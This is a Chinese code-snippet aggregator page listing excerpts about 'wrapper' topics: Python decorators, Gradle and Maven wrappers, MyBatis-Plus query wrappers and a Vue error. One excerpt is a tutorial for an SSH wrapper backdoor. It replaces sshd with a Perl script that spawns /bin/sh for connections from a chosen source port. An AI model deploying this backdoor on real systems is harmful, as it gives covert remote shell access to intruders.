ICode9

精准搜索请尝试: 精确搜索
  • python进阶(18)@wraps装饰器2021-04-29 10:32:49

    前言 我们都知道装饰器的作用是在不改变原有的代码基础上,添加新的功能,但是这样会有一个弊端,被装饰的函数某些属性会变改变,接下来我们来看下   案例 import time def run_time(func): def wrapper(*args, **kwargs): """时间装饰器""" time1 = time.time()

  • Android gradle学习(一)2021-04-27 19:30:29

    Android gradle学习(一) 文章目录 Android gradle学习(一)1、gradle配置2、初用gradle任务和项目生命周期 3、Gradle Wrapper(1)生成wrapper(2)wrapper配置(3)gradle-wrapper.properties(4)自定义wrapper task 4、gradle日志(1)gradle的日志(2)输出错误堆栈信息(3)自定义日志输出 5、gradle命

  • element表格左右滚动条在总计的上面怎么解决2021-04-25 16:36:30

    把"scoped"删除,复制下面的代码 <style lang="less"> .el-table{ overflow: auto; } .el-table .el-table__body-wrapper, .el-table .el-table__header-wrapper, .el-table .el-table__footer-wrapper{ overflow: visible; } .el-table::after{ positi

  • 45. 为被装饰函数保存元数据2021-04-25 09:56:42

    在函数对象中保存着一些函数的元数据,例如:__name__        函数的名字 __doc__         函数文档字符串 __module__      函数所属模块名 __dict__        属性字典 __default__     默认参数元组 ...在使用装饰器后,再访问上面这些属性时,看到的

  • 【python】装饰器听了N次也没印象,读完这篇你就懂了2021-04-23 16:51:49

    装饰器其实一直是我的一个"老大难"。这个知识点就放在那,但是拖延症。。。其实在平常写写脚本的过程中,这个知识点你可能用到不多但在面试的时候,这可是一个高频问题。一、什么是装饰器所谓的装饰器,其实就是通过装饰器函数,来修改原函数的一些功能,使得原函数不需要修改。这一句话理解起

  • SpringBoot集成Mybatis-plus(二)---条件构造器2021-04-17 14:04:16

    Mybatis-plus条件构造器:https://mp.baomidou.com/guide/wrapper.html#abstractwrapper 1、测试QueryWrapper对象isNotNul() 和ge() @Test void testWrapper01(){ //查询name、email不为空,并且年龄大于3岁 QueryWrapper<User> wrapper = new QueryWrapper<>()

  • vue中Cannot read property '_wrapper' of undefined 报错2021-04-16 18:37:17

    前言 还是那个pc 背景 还是那个合并支付提单页面 问题 1、今天在调试代码的时候一直报如下错误,找了半天发现页面中并没有_wrapper呀。 _Error in nextTick: "TypeError: Cannot read property '_wrapper' of undefined" 2、并且页面上注册的@click方法失灵了,导致出现一堆杂七杂八

  • Python - 装饰器之 @functools.wraps(func)2021-04-12 17:32:45

    @functools.wraps(func) 用在装饰器函数之上,用于写装饰器时,保留原有函数的名称和函数属性。   # 定义一个最简单的装饰器   def user_login_data(f):     def wrapper(*args, **kwargs):       return f(*args, **kwargs)     return wrapper   # 用装饰器

  • AndroidStudio安装和gradle下载缓慢问题2021-04-01 23:00:52

    AndroidStudio安装 教程 安装过程很简单,想要省心的直接就无脑下一步就好了。 主要的是在创建一个新的项目的时候会下载gradle,很可能下载不动,下边是解决方案(此解决方案是我试了很多中方法觉得最靠谱并且最终实现成功的一种,好方法一个就够了): 当gradle下不动时,取消下载,然后在And

  • 闭包函数及其应用2021-03-29 19:51:37

    闭函数:被封闭起来的函数=>定义函数内部的函数;闭函数的特点是只能在函数内用 def outter(): x = 100 def wrapper(): print(x) 包函数:该函数引用了一个名字,该名字是来自与e这一层的总结:闭包函数指的是定义在函数内部的函数引用了一个来自于外层函数作用域中的名字

  • 闭包函数及其应用2021-03-29 19:51:21

    闭函数:被封闭起来的函数=>定义函数内部的函数;闭函数的特点是只能在函数内用 def outter(): x = 100 def wrapper(): print(x) 包函数:该函数引用了一个名字,该名字是来自与e这一层的总结:闭包函数指的是定义在函数内部的函数引用了一个来自于外层函数作用域中的名字

  • mybatisplus在xml中使用wrapper备忘2021-03-26 11:30:28

    mapper: IPage<PurchasePlan> listWithZj(Page page, @Param(Constants.WRAPPER) Wrapper<PurchasePlan> wrapper); xml: <select id="listWithZj" resultType="org.jeecg.modules.gz.purchase.entity.PurchasePlan"> select

  • MyBatisPlus个人学习2021-03-22 11:05:35

    MyBatisPlus个人学习 概述特性快速入门1、创建数据库2、创建项目3、导入pom依赖4、连接数据库5、测试 CRUD及扩展1、增加操作2、乐观锁3、更新操作4 、主键生成策略6、查询操作7、删除操作8、逻辑删除9、性能分析插件10、条件构造器11、代码自动生成器 (ps:学习自官方和狂

  • My Batis-Plus学习笔记2021-03-21 14:01:59

    My Batis-Plus学习笔记 简介 MyBatis-plus(简称MP)是一个是一个 MyBatis (opens new window)的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发、提高效率而生。 为什么要学习它呢? MyBatis-Plus更加简洁,简化了MyBatis,可以帮我们节省大量的工作时间,所有的CRUD(增删改查)都

  • .mvn目录&mvnw和mvnw.cmd文件说明2021-03-12 11:58:33

    我们使用Maven时,基本上只会用到mvn这一个命令。有些童鞋可能听说过mvnw,这个是啥? mvnw是Maven Wrapper的缩写。因为我们安装Maven时,默认情况下,系统所有项目都会使用全局安装的这个Maven版本。但是,对于某些项目来说,它可能必须使用某个特定的Maven版本,这个时候,就可以使用Maven Wrap

  • linux-wrapper跟inetd服务后门2021-03-10 18:59:57

    wrapper后门实践 先部署后门 cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARG

  • mybatis-plus了解2021-03-10 15:35:40

    学习视频 https://www.bilibili.com/video/BV17E411N7KN视频地址 简介 MyBatis-Plus(简称 MP)是一个 MyBatis 的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发、提高效率而生。 特性 无侵入:只做增强不做改变,引入它不会对现有工程产生影响,如丝般顺滑 损耗小:启动即会

  • 登录界面2021-03-09 23:35:43

    样式一 <!-- 来自BiliBili:https://www.bilibili.com/video/BV1tA411h7id/? --> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>登录界面</title> </head> <body> <div class="

  • MybatisPlus--个人笔记2021-03-08 15:30:11

    Mybatis-Plus 简介 MyBatis-Plus (opens new window)(简称 MP)是一个 MyBatis (opens new window)的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发、提高效率而生。 愿景 我们的愿景是成为 MyBatis 最好的搭档,就像 魂斗罗 中的 1P、2P,基友搭配,效率翻倍。 特性 无侵

  • 装饰器框架,实现一个装饰器,函数闭包加上参数,解压序列,函数闭包为函数加上认证功能,装饰器闭包模拟session2021-03-04 10:33:29

    import time'''装饰器框架实现'''# def timmer(func):# def wrapper():# res = func(*args, **kwargs)# return res# return wrapper'''实现一个装饰器'''# def timmer(func): # func = test# def wrapper(*args, *

  • android gradle下载2021-02-26 17:32:49

    android gradle下载链接如下: https://services.gradle.org/distributions/ 下载自己的项目版本,放到自己的电脑上,可以提高打开项目速度,如下所示 1.找到setting中的gradle配置中Service directory path 对应的目录 2.找到该目录下的.gradle\wrapper\dists\gradle-xxx(找到默认的版

  • Python中的装饰器2021-02-26 16:58:10

    装饰器一直以来都是 Python 中很有用、很经典的一个 feature,在工程中的应用也十分广泛,比如日志、缓存等等的任务都会用到。然而,在平常工作生活中,我发现不少人,尤其是初学者,常常因为其相对复杂的表示,对装饰器望而生畏,认为它“too fancy to learn”,实际并不如此。 函数 -> 装饰

  • Java 基于MyBatis-Plus使用反射和注解的方式来简化频繁的过滤条件2021-02-23 23:33:58

    使用MyBatis-Plus为我们提供的过滤条件wrapper对象的便利,当需要频繁在多个业务中实现数量较多的过滤条件调用时。 我尝试着去使用了一下反射加注解的方式创建自己的工具类和自定义注解来解决这个问题。在最下面我会进行一个简易的说明。 定义自己的自定义注解,标记在封装过滤参数的

  • IDEA2020一直卡在reading maven projects2021-02-22 22:04:33

    Problem 在用https://start.spring.io/创建工程后,用idea打开,一直开在reading maven projects。 并且在用idea自带的spring Initialzr也是一样的,会在.m2文件下新建maven仓库,自行设置本地仓库后,也无效,还是会引用.m2下的wrapper文件下的仓库。 Solution 移除spring项目下 .mvn/mave

  • MybatisPlus简单使用2021-02-20 14:01:36

    MyBatis-Plus Mybatis-Plus(简称MP):是一个Mybatis的增强工具,在Mybatis的基础上只做增强不做改变,为简化开发、提高效率而生。 特性: 无侵入:只做增强不做改变,引入它不会对现有工程产生影响,如丝般顺滑 损耗小:启动即会自动注入基本 CURD,性能基本无损耗,直接面向对象操作 强大的 CR

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有